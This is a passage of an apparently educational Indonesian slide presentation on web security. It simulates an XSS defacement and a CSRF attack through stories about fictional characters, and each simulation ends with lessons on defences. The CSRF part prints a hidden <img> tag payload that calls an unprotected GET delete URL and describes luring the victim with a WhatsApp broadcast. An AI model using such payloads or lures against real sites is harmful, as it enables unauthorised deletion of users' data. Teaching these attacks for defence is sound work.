  • 21. (9) WEBSITE MAS JOHN TER-DEFACE HASIL DARI INJEKSI SCRIPT PADA KONTEN PORTFOLIO MENGHASILKAN TAMPILAN DENGAN BACKGROUND HITAM. MESKIPUN SEBENARNYA HACKER DAPAT MENGHAPUS ISI DARI PORTFOLIO MAS JOHN NAMUN DIA MEMUTUSKAN UNTUK MELAKUKAN DEFACE SAJA.
  • 22. PELAJARAN APA YANG BISA DIAMBIL DARI KASUS WEBSITE MAS JOHN INI?
  • 23. 1. JANGAN PERNAH PERCAYA INPUTAN USER 2. JIKA MULAI PERCAYA INPUTAN USER, PERGI KE #1 3. SELALU SANITASI OUTPUT YANG AKAN DITAMPILKAN MESKIPUN ITU DARI SUMBER TERCPERCAYA. GUNAKAN FUNGSI HTMLENTITIES() / HTMLSPECIALCHARS() DENGAN OPSI ENT_QUOTES. 4. SELALU GUNAKAN HTTP ONLY COOKIE YANG DISUPPORT MODERN BROWSER AGAR COOKIE TIDAK BISA DIAMBIL LEWAT JAVASCRIPT. 5. SELALU CHECK ORIGIN IP DARI SESSION UNTUK MEMPERKECIL PELUANG SESSION HIJACKING.
  • 24. SIMULASI #2 - HAPUS PUISI VIA CSRF MAS JOHN MENDAPAT JOB YAITU MEMBUAT WEBSITE TENTANG KOMUNITAS PUISI. WEBSITE ITU BERNAMA “PUISI KITA”. BELAJAR DARI PENGALAMAN XSS SEBELUMNYA KINI MAS JOHN LEBIH HATI-HATI DALAM MEMBANGUN WEBSITE. SEMUA OUTPUT DIA SANITASI MENGGUNAKAN FUNGSI HTMLENTITIES(). NAMUN KARENA MEMANG MASIH NEWBIE DIA BELUM PAHAM TENTANG CELAH CSRF. PADA WEBSITE BARU YAITU PUISI KITA MESKIPUN SUDAH AMAN DARI XSS TERNYATA WEBSITE ITU BELUM AMAN DARI SERANGAN CSRF. CELAH ITU DIMANFAATKAN OLEH MAS KHER SEORANG ANGGOTA PUISI KITA YANG INGIN MENYINGKIRKAN PUISI MAS BOY SEBAGAI PUISI TERPOPULER PILIHAN PENGGUNA. SERANGAN INI SUKSES JIKA PUISI DARI MAS BOY TERHAPUS LEWAT SERANGAN CSRF.
  • 25. (1) ANALISA KELEMAHAN INTI DARI SERANGAN INI ADALAH MENGHAPUS PUISI DARI MAS BOY SEHINGGA TIDAK BISA MENJADI PUISI TERPOPULER. KARENA MAS KHER JUGA MERUPAKAN MEMBER PUISI KITA MAKA DIA MENGANALISA KELEMAHAN DARI METODE HAPUS PUISI PADA HALAMAN “PUISIKU”. TERNYATA DIA MENEMUKAN SAAT MELAKUKAN PENGHAPUSAN PUISI SISTEM TIDAK MENGGUNAKAN CSRF TOKEN SEHINGGA KETIKA URL HAPUS PUISI TERSEBUT DIEKSEKUSI OLEH PENGGUNA YANG LOGIN, SISTEM AKAN MENGANGGAP REQUEST TERSEBUT VALID DAN PUISI AKAN DIHAPUS. GET /PUISIKU/?ID=<ID_PUISI>&DELETE
  • 26. (2) FAKE SITE UNTUK CSRF SERANGAN CSRF BIASANYA BERHUBUNGAN ERAT DENGAN SOCIAL ENGINEERING. DIMANA KORBAN DIBAWA KE WEBSITE KHUSUS AGAR MENGEKSEKUSI URL YANG DITARGET. PADA WEBSITE “PUISI KITA” URL YANG MENJADI TARGET ADALAH HAPUS PUISI. SEKILAS TIDAK ADA YANG ANEH PADA HALAMAN PUISI TERSEBUT. NAMUN ADA JIKA KODE SUMBER HTML DITAMPILKAN MAKA ADA SEBUAH TAG <IMG> TAK TERLIHAT YANG SENGAJA DITEMPATKAN UNTUK MEMANGGIL URL HAPUS PUISI YAITU: GET /PUISIKU/?ID=<ID_PUISI>&DELETE ID_PUISI YANG MENJADI TARGET ADALAH ID PUISI MILIK MAS BOY YANG BERJUDUL “NUSANTARA TERCINTA”. <img src="http://hostname/ puisiku/?id=HASH&delete" style="visibility:hidden;">
  • 27. (3) SOCIAL ENGINEERING LANGKAH PENTING BERIKUTNYA YANG DILAKUKAN MAS KHER ADALAH MELAKUKAN SOCIAL ENGINEERING AGAR MAS BOY DAPAT MENGUNJUNGI FAKE SITE YANG DIBUAT. MAS KHER BERINISIATIF UNTUK MELAKUKAN BROADCAST MESSAGE KE WHATSAPP GROUP “KOMUNITAS PUISI” DIMANA MAS BOY JUGA IKUT DIDALAMNYA. TENTU DENGAN HARAPAN MAS BOY AKAN TERTARIK MEMBACA DAN MEMBUKA FAKE SITE TERSEBUT. SERANGAN INI SIFATNYA SPEKULATIF, DAN HANYA AKAN BERHASIL JIKA MAS BOY SEBELUMNYA BELUM LOGOUT DARI WEBSITE PUISI KITA.
  • 28. (4) MENUNGGU KABAR BAIK SETELAH MENYEBAR BROADCAST DI WA GROUP MAKA YANG DILAKUKAN MAS KHER ADALAH WAIT AND SEE. JIKA MAS BOY MENGUNJUNGI FAKE SITE YANG DIBUAT DAN KONDISI DIA BELUM LOGOUT DARI WEBSITE “PUISI KITA” MAKA SERANGAN CSRF BERHASIL DILAKUKAN. KEBERHASILAN TERSEBUT DIINDIKASIKAN DENGAN HILANGNYA PUISI MAS BOY “NUSANTARA TERCINTA” DARI DAFTAR PUISI POPULER YANG ADA DIHALAMAN DEPAN WEBSITE “PUISI KITA”. DAN URUTAN PERTAMA DIGANTIKAN OLEH PUISI MAS KHER BERJUDUL “KEINDAHAN ALAM INI”. SERANGAN INI TIDAK BERDAMPAK APAPUN PADA PENGGUNA PUISI KITA LAIN SEPERTI CAK LONTONG KARENA MAS KHER HANYA MENTARGET SECARA SPESIFIK ID DARI PUISI MAS BOY.
  • 29. (5) PUISI MAS BOY TERHAPUS NAMPAKNYA SERANGAN CSRF YANG DIRANCANG OLEH MAS KHER BERHASIL. HAL ITU DITANDAI DENGAN PUISINYA BERTENGGER DI PUNCAK PUISI TERPOPULER.
  • 30. PELAJARAN APA YANG BISA DIAMBIL DARI KASUS WEBSITE PUISI KITA?
  • 31. 1. SELALU GUNAKAN CSRF TOKEN YANG UNIK PADA REQUEST YANG MENGUBAH SEBUAH DATA. INI ADALAH PERTAHANAN TERPENTING. 2. GUNAKAN HTTP METHOD “POST” UNTUK MELAKUKAN PERUBAHAN DATA. CSRF LEBIH MUDAH DILAKUKAN PADA “GET” TERLEBIH JIKA BROWSER YANG DIGUNAKAN TIDAK AMAN. 3. BATASI EXPIRES DARI SESSION DALAM WAKTU TERTENTU SEHINGGA JIKA USER LUPA LOGOUT MAKA SESSION SUDAH TIDAK VALID. 4. EDUKASI USER UNTUK MELAKUKAN UPGRADE BROWSER KE VERSI YANG AMAN YAITU MENDUKUNG FITUR SAMESITE COOKIES DAN SAMEORIGIN.
  • 32. ./END Rio Astamal rioastamal rioastamal.net rio@rioastamal.net Gambar icon diambil dari Flaticon.com Presentasi ini juga dapat dilihat pada rioastamal.net/presentasi/2021/04/ Kode pada presentasi ini dapat dilihat pada github.com/rioastamal-examples/phpid-xss-csrf-simulation/ Simulasi hacking lainnya dapat dicoba di abwh.rioastamal.net